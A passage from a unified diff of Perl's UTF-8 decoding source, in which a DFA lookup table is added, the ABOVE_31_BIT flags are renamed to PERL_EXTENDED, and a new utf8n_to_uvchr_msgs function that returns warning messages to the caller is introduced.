-is a separate set of flags that can warn and/or disallow these extremely high
-code points, even if other above-Unicode ones are accepted.  These are the
-C<UTF8_WARN_ABOVE_31_BIT> and C<UTF8_DISALLOW_ABOVE_31_BIT> flags.  These
-are entirely independent from the deprecation warning for code points above
-C<IV_MAX>.  On 32-bit machines, it will eventually be forbidden to have any
-code point that needs more than 31 bits to represent.  When that happens,
-effectively the C<UTF8_DISALLOW_ABOVE_31_BIT> flag will always be set on
-32-bit machines.  (Of course C<UTF8_DISALLOW_SUPER> will treat all
-above-Unicode code points, including these, as malformations; and
-C<UTF8_WARN_SUPER> warns on these.)
+A somewhat misleadingly named synonym for C<UTF8_WARN_PERL_EXTENDED> is
+retained for backward compatibility: C<UTF8_WARN_ABOVE_31_BIT>.  Similarly,
+C<UTF8_DISALLOW_ABOVE_31_BIT> is usable instead of the more accurately named
+C<UTF8_DISALLOW_PERL_EXTENDED>.  The names are misleading because these flags
+can apply to code points that actually do fit in 31 bits.  This happens on
+EBCDIC platforms, and sometimes when the L<overlong
+malformation|/C<UTF8_GOT_LONG>> is also present.  The new names accurately
+describe the situation in all cases.
 
-On EBCDIC platforms starting in Perl v5.24, the Perl extension for representing
-extremely high code points kicks in at 0x3FFF_FFFF (2**30 -1), which is lower
-than on ASCII.  Prior to that, code points 2**31 and higher were simply
-unrepresentable, and a different, incompatible method was used to represent
-code points between 2**30 and 2**31 - 1.  The flags C<UTF8_WARN_ABOVE_31_BIT>
-and C<UTF8_DISALLOW_ABOVE_31_BIT> have the same function as on ASCII
-platforms, warning and disallowing 2**31 and higher.
 
 All other code points corresponding to Unicode characters, including private
 use and those yet to be assigned, are never considered malformed and never
@@ -965,6 +1285,102 @@
     return utf8n_to_uvchr_error(s, curlen, retlen, flags, NULL);
 }
 
+/* The tables below come from http://bjoern.hoehrmann.de/utf-8/decoder/dfa/,
+ * which requires this copyright notice */
+
+/* Copyright (c) 2008-2009 Bjoern Hoehrmann <bjoern at hoehrmann.de>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+*/
+
+#if 0
+static U8 utf8d_C9[] = {
+  /* The first part of the table maps bytes to character classes that
+   * to reduce the size of the transition table and create bitmasks. */
+   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /*-1F*/
+   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /*-3F*/
+   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /*-5F*/
+   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /*-7F*/
+   1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,  9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, /*-9F*/
+   7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,  7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, /*-BF*/
+   8,8,2,2,2,2,2,2,2,2,2,2,2,2,2,2,  2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, /*-DF*/
+  10,3,3,3,3,3,3,3,3,3,3,3,3,4,3,3, 11,6,6,6,5,8,8,8,8,8,8,8,8,8,8,8, /*-FF*/
+
+  /* The second part is a transition table that maps a combination
+   * of a state of the automaton and a character class to a state. */
+   0,12,24,36,60,96,84,12,12,12,48,72, 12,12,12,12,12,12,12,12,12,12,12,12,
+  12, 0,12,12,12,12,12, 0,12, 0,12,12, 12,24,12,12,12,12,12,24,12,24,12,12,
+  12,12,12,12,12,12,12,24,12,12,12,12, 12,24,12,12,12,12,12,12,12,24,12,12,
+  12,12,12,12,12,12,12,36,12,36,12,12, 12,36,12,12,12,12,12,36,12,36,12,12,
+  12,36,12,12,12,12,12,12,12,12,12,12
+};
+
+#endif
+
+#ifndef EBCDIC
+
+/* This is a version of the above table customized for Perl that doesn't
+ * exclude surrogates and accepts start bytes up through F7 (representing
+ * 2**21 - 1). */
+static U8 dfa_tab_for_perl[] = {
+    /* The first part of the table maps bytes to character classes to reduce
+     * the size of the transition table and create bitmasks. */
+   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /*-1F*/
+   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /*-3F*/
+   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /*-5F*/
+   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /*-7F*/
+   1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,  9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, /*-9F*/
+   7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,  7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, /*-BF*/
+   8,8,2,2,2,2,2,2,2,2,2,2,2,2,2,2,  2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, /*-DF*/
+  10,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, 11,4,4,4,4,4,4,4,8,8,8,8,8,8,8,8, /*-FF*/
+
+  /* The second part is a transition table that maps a combination
+   * of a state of the automaton and a character class to a state. */
+   0,12,24,36,96,12,12,12,12,12,48,72, 12,12,12,12,12,12,12,12,12,12,12,12,/*23*/
+  12, 0,12,12,12,12,12, 0,12, 0,12,12, 12,24,12,12,12,12,12,24,12,24,12,12,/*47*/
+  12,12,12,12,12,12,12,24,12,12,12,12, 12,24,12,12,12,12,12,12,12,24,12,12,/*71*/
+  12,12,12,12,12,12,12,36,12,36,12,12, 12,36,12,12,12,12,12,36,12,36,12,12,/*95*/
+  12,36,12,12,12,12,12,36,12,36,12,12 /* 96- 107 */
+
+ /* The customization was to repurpose the surrogates type '4' to instead be
+  * for start bytes F1-F7.  Types 5 and 6 are now unused, and their entries in
+  * the transition part of the table are set to 12, so are illegal.
+  *
+  * To do higher code points would require expansion and some rearrangement of
+  * the table.  The type '1' entries for continuation bytes 80-8f would have to
+  * be split into several types, because they aren't treated uniformly for
+  * higher start bytes, since overlongs for F8 are 80-87; FC: 80-83; and FE:
+  * 80-81.  We start needing to worry about overflow if FE is included.
+  * Ignoring, FE and FF, we could use type 5 for F9-FB, and 6 for FD (remember
+  * from the web site that these are used to right shift).  FE would
+  * necessarily be type 7; and FF, type 8.  And new states would have to be
+  * created for F8 and FC (and FE and FF if used), so quite a bit of work would
+  * be involved.
+  *
+  * XXX Better would be to customize the table so that the noncharacters are
+  * excluded.  This again is non trivial, but doing so would simplify the code
+  * that uses this, and might make it small enough to make it inlinable */
+};
+
+#endif
+
 /*
 
 =for apidoc utf8n_to_uvchr_error
@@ -973,7 +1389,8 @@
 Most code should use L</utf8_to_uvchr_buf>() rather than call this directly.
 
 This function is for code that needs to know what the precise malformation(s)
-are when an error is found.
+are when an error is found.  If you also need to know the generated warning
+messages, use L</utf8n_to_uvchr_msgs>() instead.
 
 It is like C<L</utf8n_to_uvchr>> but it takes an extra parameter placed after
 all the others, C<errors>.  If this parameter is 0, this function behaves
@@ -987,13 +1404,37 @@
 
 =over 4
 
-=item C<UTF8_GOT_ABOVE_31_BIT>
+=item C<UTF8_GOT_PERL_EXTENDED>
 
-The code point represented by the input UTF-8 sequence occupies more than 31
-bits.
-This bit is set only if the input C<flags> parameter contains either the
-C<UTF8_DISALLOW_ABOVE_31_BIT> or the C<UTF8_WARN_ABOVE_31_BIT> flags.
+The input sequence is not standard UTF-8, but a Perl extension.  This bit is
+set only if the input C<flags> parameter contains either the
+C<UTF8_DISALLOW_PERL_EXTENDED> or the C<UTF8_WARN_PERL_EXTENDED> flags.
 
+Code points above 0x7FFF_FFFF (2**31 - 1) were never specified in any standard,
+and so some extension must be used to express them.  Perl uses a natural
+extension to UTF-8 to represent the ones up to 2**36-1, and invented a further
+extension to represent even higher ones, so that any code point that fits in a
+64-bit word can be represented.  Text using these extensions is not likely to
+be portable to non-Perl code.  We lump both of these extensions together and
+refer to them as Perl extended UTF-8.  There exist other extensions that people
+have invented, incompatible with Perl's.
+
+On EBCDIC platforms starting in Perl v5.24, the Perl extension for representing
+extremely high code points kicks in at 0x3FFF_FFFF (2**30 -1), which is lower
+than on ASCII.  Prior to that, code points 2**31 and higher were simply
+unrepresentable, and a different, incompatible method was used to represent
+code points between 2**30 and 2**31 - 1.
+
+On both platforms, ASCII and EBCDIC, C<UTF8_GOT_PERL_EXTENDED> is set if
+Perl extended UTF-8 is used.
+
+In earlier Perls, this bit was named C<UTF8_GOT_ABOVE_31_BIT>, which you still
+may use for backward compatibility.  That name is misleading, as this flag may
+be set when the code point actually does fit in 31 bits.  This happens on
+EBCDIC platforms, and sometimes when the L<overlong
+malformation|/C<UTF8_GOT_LONG>> is also present.  The new name accurately
+describes the situation in all cases.
+
 =item C<UTF8_GOT_CONTINUATION>
 
 The input sequence was malformed in that the first byte was a a UTF-8
@@ -1008,6 +1449,9 @@
 The input sequence was malformed in that there is some other sequence that
 evaluates to the same code point, but that sequence is shorter than this one.
 
+Until Unicode 3.1, it was legal for programs to accept this malformation, but
+it was discovered that this created security issues.
+
 =item C<UTF8_GOT_NONCHAR>
 
 The code point represented by the input UTF-8 sequence is for a Unicode
@@ -1023,7 +1467,7 @@
 =item C<UTF8_GOT_OVERFLOW>
 
 The input sequence was malformed in that it is for a code point that is not
-representable in the number of bits available in a UV on the current platform.
+representable in the number of bits available in an IV on the current platform.
 
 =item C<UTF8_GOT_SHORT>
 
@@ -1051,21 +1495,87 @@
 flag to suppress any warnings, and then examine the C<*errors> return.
 
 =cut
+
+Also implemented as a macro in utf8.h
 */
 
 UV
 Perl_utf8n_to_uvchr_error(pTHX_ const U8 *s,
-                                STRLEN curlen,
-                                STRLEN *retlen,
-                                const U32 flags,
-                                U32 * errors)
+                          STRLEN curlen,
+                          STRLEN *retlen,
+                          const U32 flags,
+                          U32 * errors)
 {
+    PERL_ARGS_ASSERT_UTF8N_TO_UVCHR_ERROR;
+
+    return utf8n_to_uvchr_msgs(s, curlen, retlen, flags, errors, NULL);
+}
+
+/*
+
+=for apidoc utf8n_to_uvchr_msgs
+
+THIS FUNCTION SHOULD BE USED IN ONLY VERY SPECIALIZED CIRCUMSTANCES.
+Most code should use L</utf8_to_uvchr_buf>() rather than call this directly.
+
+This function is for code that needs to know what the precise malformation(s)
+are when an error is found, and wants the corresponding warning and/or error
+messages to be returned to the caller rather than be displayed.  All messages
+that would have been displayed if all lexcial warnings are enabled will be
+returned.
+
+It is just like C<L</utf8n_to_uvchr_error>> but it takes an extra parameter
+placed after all the others, C<msgs>.  If this parameter is 0, this function
+behaves identically to C<L</utf8n_to_uvchr_error>>.  Otherwise, C<msgs> should
+be a pointer to an C<AV *> variable, in which this function creates a new AV to
+contain any appropriate messages.  The elements of the array are ordered so
+that the first message that would have been displayed is in the 0th element,
+and so on.  Each element is a hash with three key-value pairs, as follows:
+
+=over 4
+
+=item C<text>
+
+The text of the message as a C<SVpv>.
+
+=item C<warn_categories>
+
+The warning category (or categories) packed into a C<SVuv>.
+
+=item C<flag>
+
+A single flag bit associated with this message, in a C<SVuv>.
+The bit corresponds to some bit in the C<*errors> return value,
+such as C<UTF8_GOT_LONG>.
+
+=back
+
+It's important to note that specifying this parameter as non-null will cause
+any warnings this function would otherwise generate to be suppressed, and
+instead be placed in C<*msgs>.  The caller can check the lexical warnings state
+(or not) when choosing what to do with the returned messages.
+
+If the flag C<UTF8_CHECK_ONLY> is passed, no warnings are generated, and hence
+no AV is created.
+
+The caller, of course, is responsible for freeing any returned AV.
+
+=cut
+*/
+
+UV
+Perl_utf8n_to_uvchr_msgs(pTHX_ const U8 *s,
+                               STRLEN curlen,
+                               STRLEN *retlen,
+                               const U32 flags,
+                               U32 * errors,
+                               AV ** msgs)
+{
     const U8 * const s0 = s;
-    U8 * send = NULL;           /* (initialized to silence compilers' wrong
-                                   warning) */
+    const U8 * send = s0 + curlen;
     U32 possible_problems = 0;  /* A bit is set here for each potential problem
                                    found as we go along */
-    UV uv = *s;
+    UV uv = (UV) -1;
     STRLEN expectlen   = 0;     /* How long should this sequence be?
                                    (initialized to silence compilers' wrong
                                    warning) */
@@ -1077,14 +1587,14 @@
      * too short one.  Otherwise the first two are set to 's0' and 'send', and
      * the third not used at all */
     U8 * adjusted_s0 = (U8 *) s0;
-    U8 * adjusted_send = NULL;  /* (Initialized to silence compilers' wrong
-                                   warning) */
     U8 temp_char_buf[UTF8_MAXBYTES + 1]; /* Used to avoid a Newx in this
                                             routine; see [perl #130921] */
     UV uv_so_far = 0;   /* (Initialized to silence compilers' wrong warning) */
 
-    PERL_ARGS_ASSERT_UTF8N_TO_UVCHR_ERROR;
+    UV state = 0;
 
+    PERL_ARGS_ASSERT_UTF8N_TO_UVCHR_MSGS;
+
     if (errors) {
         *errors = 0;
     }
@@ -1137,10 +1647,54 @@
     }
 
     /* An invariant is trivially well-formed */
-    if (UTF8_IS_INVARIANT(uv)) {
-	return uv;
+    if (UTF8_IS_INVARIANT(*s0)) {
+	return *s0;
     }
 
+#ifndef EBCDIC
+
+    /* Measurements show that this dfa is somewhat faster than the regular code
+     * below, so use it first, dropping down for the non-normal cases. */
+
+#  define PERL_UTF8_DECODE_REJECT 12
+
+    while (s < send && LIKELY(state != PERL_UTF8_DECODE_REJECT)) {
+        UV type = dfa_tab_for_perl[*s];
+
+        if (state != 0) {
+            uv = (*s & 0x3fu) | (uv << UTF_ACCUMULATION_SHIFT);
+            state = dfa_tab_for_perl[256 + state + type];
+        }
+        else {
+            uv = (0xff >> type) & (*s);
+            state = dfa_tab_for_perl[256 + type];
+        }
+
+        if (state == 0) {
+
+            /* If this could be a code point that the flags don't allow (the first
+            * surrogate is the first such possible one), delve further, but we already
+            * have calculated 'uv' */
+            if (  (flags & (UTF8_DISALLOW_ILLEGAL_INTERCHANGE
+                           |UTF8_WARN_ILLEGAL_INTERCHANGE))
+                && uv >= UNICODE_SURROGATE_FIRST)
+            {
+                curlen = s + 1 - s0;
+                goto got_uv;
+            }
+
+            return uv;
+        }
+
+        s++;
+    }
+
+    /* Here, is some sort of failure.  Use the full mechanism */
+
+    uv = *s0;
+
+#endif
+
     /* A continuation character can't start a valid sequence */
     if (UNLIKELY(UTF8_IS_CONTINUATION(uv))) {
 	possible_problems |= UTF8_GOT_CONTINUATION;
@@ -1161,16 +1715,13 @@
 
     /* Setup the loop end point, making sure to not look past the end of the
      * input string, and flag it as too short if the size isn't big enough. */
-    send = (U8*) s0;
     if (UNLIKELY(curlen < expectlen)) {
         possible_problems |= UTF8_GOT_SHORT;
         avail_len = curlen;
-        send += curlen;
     }
     else {
-        send += expectlen;
+        send = (U8*) s0 + expectlen;
     }
-    adjusted_send = send;
 
     /* Now, loop through the remaining bytes in the character's sequence,
      * accumulating each into the working value as we go. */
@@ -1207,8 +1758,12 @@
         uv = UNICODE_REPLACEMENT;
     }
 
-    /* Check for overflow */
-    if (UNLIKELY(does_utf8_overflow(s0, send))) {
+    /* Check for overflow.  The algorithm requires us to not look past the end
+     * of the current character, even if partial, so the upper limit is 's' */
+    if (UNLIKELY(0 < does_utf8_overflow(s0, s,
+                                         1 /* Do consider overlongs */
+                                        )))
+    {
         possible_problems |= UTF8_GOT_OVERFLOW;
         uv = UNICODE_REPLACEMENT;
     }
@@ -1219,15 +1774,22 @@
      * overlong */
     if (     (   LIKELY(! possible_problems)
               && UNLIKELY(expectlen > (STRLEN) OFFUNISKIP(uv)))
-        || (   UNLIKELY(  possible_problems)
+        || (       UNLIKELY(possible_problems)
             && (   UNLIKELY(! UTF8_IS_START(*s0))
                 || (   curlen > 1
-                    && UNLIKELY(is_utf8_overlong_given_start_byte_ok(s0,
-                                                                send - s0))))))
+                    && UNLIKELY(0 < is_utf8_overlong_given_start_byte_ok(s0,
+                                                                s - s0))))))
     {
         possible_problems |= UTF8_GOT_LONG;
 
-        if (UNLIKELY(possible_problems & UTF8_GOT_TOO_SHORT)) {
+        if (   UNLIKELY(   possible_problems & UTF8_GOT_TOO_SHORT)
+
+                          /* The calculation in the 'true' branch of this 'if'
+                           * below won't work if overflows, and isn't needed
+                           * anyway.  Further below we handle all overflow
+                           * cases */
+            &&   LIKELY(! (possible_problems & UTF8_GOT_OVERFLOW)))
+        {
             UV min_uv = uv_so_far;
             STRLEN i;
 
@@ -1235,13 +1797,13 @@
              * bytes.  There is no single code point it could be for, but there
              * may be enough information present to determine if what we have
              * so far is for an unallowed code point, such as for a surrogate.
-             * The code below has the intelligence to determine this, but just
-             * for non-overlong UTF-8 sequences.  What we do here is calculate
-             * the smallest code point the input could represent if there were
-             * no too short malformation.  Then we compute and save the UTF-8
-             * for that, which is what the code below looks at instead of the
-             * raw input.  It turns out that the smallest such code point is
-             * all we need. */
+             * The code further below has the intelligence to determine this,
+             * but just for non-overlong UTF-8 sequences.  What we do here is
+             * calculate the smallest code point the input could represent if
+             * there were no too short malformation.  Then we compute and save
+             * the UTF-8 for that, which is what the code below looks at
+             * instead of the raw input.  It turns out that the smallest such
+             * code point is all we need. */
             for (i = curlen; i < expectlen; i++) {
                 min_uv = UTF8_ACCUMULATE(min_uv,
                                      I8_TO_NATIVE_UTF8(UTF_CONTINUATION_MARK));
@@ -1248,14 +1810,20 @@
             }
 
             adjusted_s0 = temp_char_buf;
-            adjusted_send = uvoffuni_to_utf8_flags(adjusted_s0, min_uv, 0);
+            (void) uvoffuni_to_utf8_flags(adjusted_s0, min_uv, 0);
         }
     }
 
-    /* Now check that the input isn't for a problematic code point not allowed
-     * by the input parameters. */
-                                              /* isn't problematic if < this */
-    if (   (   (   LIKELY(! possible_problems) && uv >= UNICODE_SURROGATE_FIRST)
+  got_uv:
+
+    /* Here, we have found all the possible problems, except for when the input
+     * is for a problematic code point not allowed by the input parameters. */
+
+                                /* uv is valid for overlongs */
+    if (   (   (      LIKELY(! (possible_problems & ~UTF8_GOT_LONG))
+
+                      /* isn't problematic if < this */
+                   && uv >= UNICODE_SURROGATE_FIRST)
             || (   UNLIKELY(possible_problems)
 
                           /* if overflow, we know without looking further
@@ -1263,22 +1831,16 @@
                            * and we deal with those in the overflow handling
                            * code */
                 && LIKELY(! (possible_problems & UTF8_GOT_OVERFLOW))
-                && isUTF8_POSSIBLY_PROBLEMATIC(*adjusted_s0)))
+                && (   isUTF8_POSSIBLY_PROBLEMATIC(*adjusted_s0)
+                    || UNLIKELY(isUTF8_PERL_EXTENDED(s0)))))
 	&& ((flags & ( UTF8_DISALLOW_NONCHAR
                       |UTF8_DISALLOW_SURROGATE
                       |UTF8_DISALLOW_SUPER
-                      |UTF8_DISALLOW_ABOVE_31_BIT
+                      |UTF8_DISALLOW_PERL_EXTENDED
 	              |UTF8_WARN_NONCHAR
                       |UTF8_WARN_SURROGATE
                       |UTF8_WARN_SUPER
-                      |UTF8_WARN_ABOVE_31_BIT))
-                   /* In case of a malformation, 'uv' is not valid, and has
-                    * been changed to something in the Unicode range.
-                    * Currently we don't output a deprecation message if there
-                    * is already a malformation, so we don't have to special
-                    * case the test immediately below */
-            || (   UNLIKELY(uv > MAX_NON_DEPRECATED_CP)
-                && ckWARN_d(WARN_DEPRECATED))))
+                      |UTF8_WARN_PERL_EXTENDED))))
     {
         /* If there were no malformations, or the only malformation is an
          * overlong, 'uv' is valid */
@@ -1337,15 +1899,12 @@
      *                      some subsitute value, typically the REPLACEMENT
      *                      CHARACTER.
      * s0                   points to the first byte of the character
-     * send                 points to just after where that (potentially
-     *                      partial) character ends
-     * adjusted_s0          normally is the same as s0, but in case of an
-     *                      overlong for which the UTF-8 matters below, it is
-     *                      the first byte of the shortest form representation
-     *                      of the input.
-     * adjusted_send        normally is the same as 'send', but if adjusted_s0
-     *                      is set to something other than s0, this points one
-     *                      beyond its end
+     * s                    points to just after were we left off processing
+     *                      the character
+     * send                 points to just after where that character should
+     *                      end, based on how many bytes the start byte tells
+     *                      us should be in it, but no further than s0 +
+     *                      avail_len
      */
 
     if (UNLIKELY(possible_problems)) {
@@ -1352,19 +1911,26 @@
         bool disallowed = FALSE;
         const U32 orig_problems = possible_problems;
 
+        if (msgs) {
+            *msgs = NULL;
+        }
+
         while (possible_problems) { /* Handle each possible problem */
             UV pack_warn = 0;
             char * message = NULL;
+            U32 this_flag_bit = 0;
 
             /* Each 'if' clause handles one problem.  They are ordered so that
              * the first ones' messages will be displayed before the later
-             * ones; this is kinda in decreasing severity order */
+             * ones; this is kinda in decreasing severity order.  But the
+             * overlong must come last, as it changes 'uv' looked at by the
+             * others */
             if (possible_problems & UTF8_GOT_OVERFLOW) {
 
-                /* Overflow means also got a super and above 31 bits, but we
-                 * handle all three cases here */
+                /* Overflow means also got a super and are using Perl's
+                 * extended UTF-8, but we handle all three cases here */
                 possible_problems
-                  &= ~(UTF8_GOT_OVERFLOW|UTF8_GOT_SUPER|UTF8_GOT_ABOVE_31_BIT);
+                  &= ~(UTF8_GOT_OVERFLOW|UTF8_GOT_SUPER|UTF8_GOT_PERL_EXTENDED);
                 *errors |= UTF8_GOT_OVERFLOW;
 
                 /* But the API says we flag all errors found */
@@ -1372,25 +1938,22 @@
                     *errors |= UTF8_GOT_SUPER;
                 }
                 if (flags
-                        & (UTF8_WARN_ABOVE_31_BIT|UTF8_DISALLOW_ABOVE_31_BIT))
+                        & (UTF8_WARN_PERL_EXTENDED|UTF8_DISALLOW_PERL_EXTENDED))
                 {
-                    *errors |= UTF8_GOT_ABOVE_31_BIT;
+                    *errors |= UTF8_GOT_PERL_EXTENDED;
                 }
 
                 /* Disallow if any of the three categories say to */
-                if ( ! (flags & UTF8_ALLOW_OVERFLOW)
+                if ( ! (flags &   UTF8_ALLOW_OVERFLOW)
                     || (flags & ( UTF8_DISALLOW_SUPER
-                                 |UTF8_DISALLOW_ABOVE_31_BIT)))
+                                 |UTF8_DISALLOW_PERL_EXTENDED)))
                 {
                     disallowed = TRUE;
                 }
 
-
-                /* Likewise, warn if any say to, plus if deprecation warnings
-                 * are on, because this code point is above IV_MAX */
-                if (  ckWARN_d(WARN_DEPRECATED)
-                    || ! (flags & UTF8_ALLOW_OVERFLOW)
-                    ||   (flags & (UTF8_WARN_SUPER|UTF8_WARN_ABOVE_31_BIT)))
+                /* Likewise, warn if any say to */
+                if (  ! (flags & UTF8_ALLOW_OVERFLOW)
+                    ||  (flags & (UTF8_WARN_SUPER|UTF8_WARN_PERL_EXTENDED)))
                 {
 
                     /* The warnings code explicitly says it doesn't handle the
@@ -1398,18 +1961,19 @@
                      * parent-child relationship.  Even if it works now to
                      * raise the warning if either is enabled, it wouldn't
                      * necessarily do so in the future.  We output (only) the
-                     * most dire warning*/
+                     * most dire warning */
                     if (! (flags & UTF8_CHECK_ONLY)) {
-                        if (ckWARN_d(WARN_UTF8)) {
+                        if (msgs || ckWARN_d(WARN_UTF8)) {
                             pack_warn = packWARN(WARN_UTF8);
                         }
-                        else if (ckWARN_d(WARN_NON_UNICODE)) {
+                        else if (msgs || ckWARN_d(WARN_NON_UNICODE)) {
                             pack_warn = packWARN(WARN_NON_UNICODE);
                         }
                         if (pack_warn) {
                             message = Perl_form(aTHX_ "%s: %s (overflows)",
                                             malformed_text,
-                                            _byte_dump_string(s0, send - s0, 0));
+                                            _byte_dump_string(s0, curlen, 0));
+                            this_flag_bit = UTF8_GOT_OVERFLOW;
                         }
                     }
                 }
@@ -1426,10 +1990,13 @@
                     assert(0);
 
                     disallowed = TRUE;
-                    if (ckWARN_d(WARN_UTF8) && ! (flags & UTF8_CHECK_ONLY)) {
+                    if (  (msgs
+                        || ckWARN_d(WARN_UTF8)) && ! (flags & UTF8_CHECK_ONLY))
+                    {
                         pack_warn = packWARN(WARN_UTF8);
                         message = Perl_form(aTHX_ "%s (empty string)",
                                                    malformed_text);
+                        this_flag_bit = UTF8_GOT_EMPTY;
                     }
                 }
             }
@@ -1439,7 +2006,9 @@
 
                 if (! (flags & UTF8_ALLOW_CONTINUATION)) {
                     disallowed = TRUE;
-                    if (ckWARN_d(WARN_UTF8) && ! (flags & UTF8_CHECK_ONLY)) {
+                    if ((   msgs
+                         || ckWARN_d(WARN_UTF8)) && ! (flags & UTF8_CHECK_ONLY))
+                    {
                         pack_warn = packWARN(WARN_UTF8);
                         message = Perl_form(aTHX_
                                 "%s: %s (unexpected continuation byte 0x%02x,"
@@ -1446,6 +2015,7 @@
                                 " with no preceding start byte)",
                                 malformed_text,
                                 _byte_dump_string(s0, 1, 0), *s0);
+                        this_flag_bit = UTF8_GOT_CONTINUATION;
                     }
                 }
             }
@@ -1455,15 +2025,18 @@
 
                 if (! (flags & UTF8_ALLOW_SHORT)) {
                     disallowed = TRUE;
-                    if (ckWARN_d(WARN_UTF8) && ! (flags & UTF8_CHECK_ONLY)) {
+                    if ((   msgs
+                         || ckWARN_d(WARN_UTF8)) && ! (flags & UTF8_CHECK_ONLY))
+                    {
                         pack_warn = packWARN(WARN_UTF8);
                         message = Perl_form(aTHX_
-                                "%s: %s (too short; %d byte%s available, need %d)",
-                                malformed_text,
-                                _byte_dump_string(s0, send - s0, 0),
-                                (int)avail_len,
-                                avail_len == 1 ? "" : "s",
-                                (int)expectlen);
+                             "%s: %s (too short; %d byte%s available, need %d)",
+                             malformed_text,
+                             _byte_dump_string(s0, send - s0, 0),
+                             (int)avail_len,
+                             avail_len == 1 ? "" : "s",
+                             (int)expectlen);
+                        this_flag_bit = UTF8_GOT_SHORT;
                     }
                 }
 
@@ -1474,7 +2047,9 @@
 
                 if (! (flags & UTF8_ALLOW_NON_CONTINUATION)) {
                     disallowed = TRUE;
-                    if (ckWARN_d(WARN_UTF8) && ! (flags & UTF8_CHECK_ONLY)) {
+                    if ((   msgs
+                         || ckWARN_d(WARN_UTF8)) && ! (flags & UTF8_CHECK_ONLY))
+                    {
 
                         /* If we don't know for sure that the input length is
                          * valid, avoid as much as possible reading past the
@@ -1488,62 +2063,10 @@
                                                             printlen,
                                                             s - s0,
                                                             (int) expectlen));
+                        this_flag_bit = UTF8_GOT_NON_CONTINUATION;
                     }
                 }
             }
-            else if (possible_problems & UTF8_GOT_LONG) {
-                possible_problems &= ~UTF8_GOT_LONG;
-                *errors |= UTF8_GOT_LONG;
-
-                if (flags & UTF8_ALLOW_LONG) {
-
-                    /* We don't allow the actual overlong value, unless the
-                     * special extra bit is also set */
-                    if (! (flags & (   UTF8_ALLOW_LONG_AND_ITS_VALUE
-                                    & ~UTF8_ALLOW_LONG)))
-                    {
-                        uv = UNICODE_REPLACEMENT;
-                    }
-                }
-                else {
-                    disallowed = TRUE;
-
-                    if (ckWARN_d(WARN_UTF8) && ! (flags & UTF8_CHECK_ONLY)) {
-                        pack_warn = packWARN(WARN_UTF8);
-
-                        /* These error types cause 'uv' to be something that
-                         * isn't what was intended, so can't use it in the
-                         * message.  The other error types either can't
-                         * generate an overlong, or else the 'uv' is valid */
-                        if (orig_problems &
-                                        (UTF8_GOT_TOO_SHORT|UTF8_GOT_OVERFLOW))
-                        {
-                            message = Perl_form(aTHX_
-                                    "%s: %s (any UTF-8 sequence that starts"
-                                    " with \"%s\" is overlong which can and"
-                                    " should be represented with a"
-                                    " different, shorter sequence)",
-                                    malformed_text,
-                                    _byte_dump_string(s0, send - s0, 0),
-                                    _byte_dump_string(s0, curlen, 0));
-                        }
-                        else {
-                            U8 tmpbuf[UTF8_MAXBYTES+1];
-                            const U8 * const e = uvoffuni_to_utf8_flags(tmpbuf,
-                                                                        uv, 0);
-                            message = Perl_form(aTHX_
-                                "%s: %s (overlong; instead use %s to represent"
-                                " U+%0*" UVXf ")",
-                                malformed_text,
-                                _byte_dump_string(s0, send - s0, 0),
-                                _byte_dump_string(tmpbuf, e - tmpbuf, 0),
-                                ((uv < 256) ? 2 : 4), /* Field width of 2 for
-                                                         small code points */
-                                uv);
-                        }
-                    }
-                }
-            }
             else if (possible_problems & UTF8_GOT_SURROGATE) {
                 possible_problems &= ~UTF8_GOT_SURROGATE;
 
@@ -1551,7 +2074,7 @@
                     *errors |= UTF8_GOT_SURROGATE;
 
                     if (   ! (flags & UTF8_CHECK_ONLY)
-                        && ckWARN_d(WARN_SURROGATE))
+                        && (msgs || ckWARN_d(WARN_SURROGATE)))
                     {
                         pack_warn = packWARN(WARN_SURROGATE);
 
@@ -1564,9 +2087,9 @@
                                     _byte_dump_string(s0, curlen, 0));
                         }
                         else {
-                            message = Perl_form(aTHX_
-                                            "UTF-16 surrogate U+%04" UVXf, uv);
+                            message = Perl_form(aTHX_ surrogate_cp_format, uv);
                         }
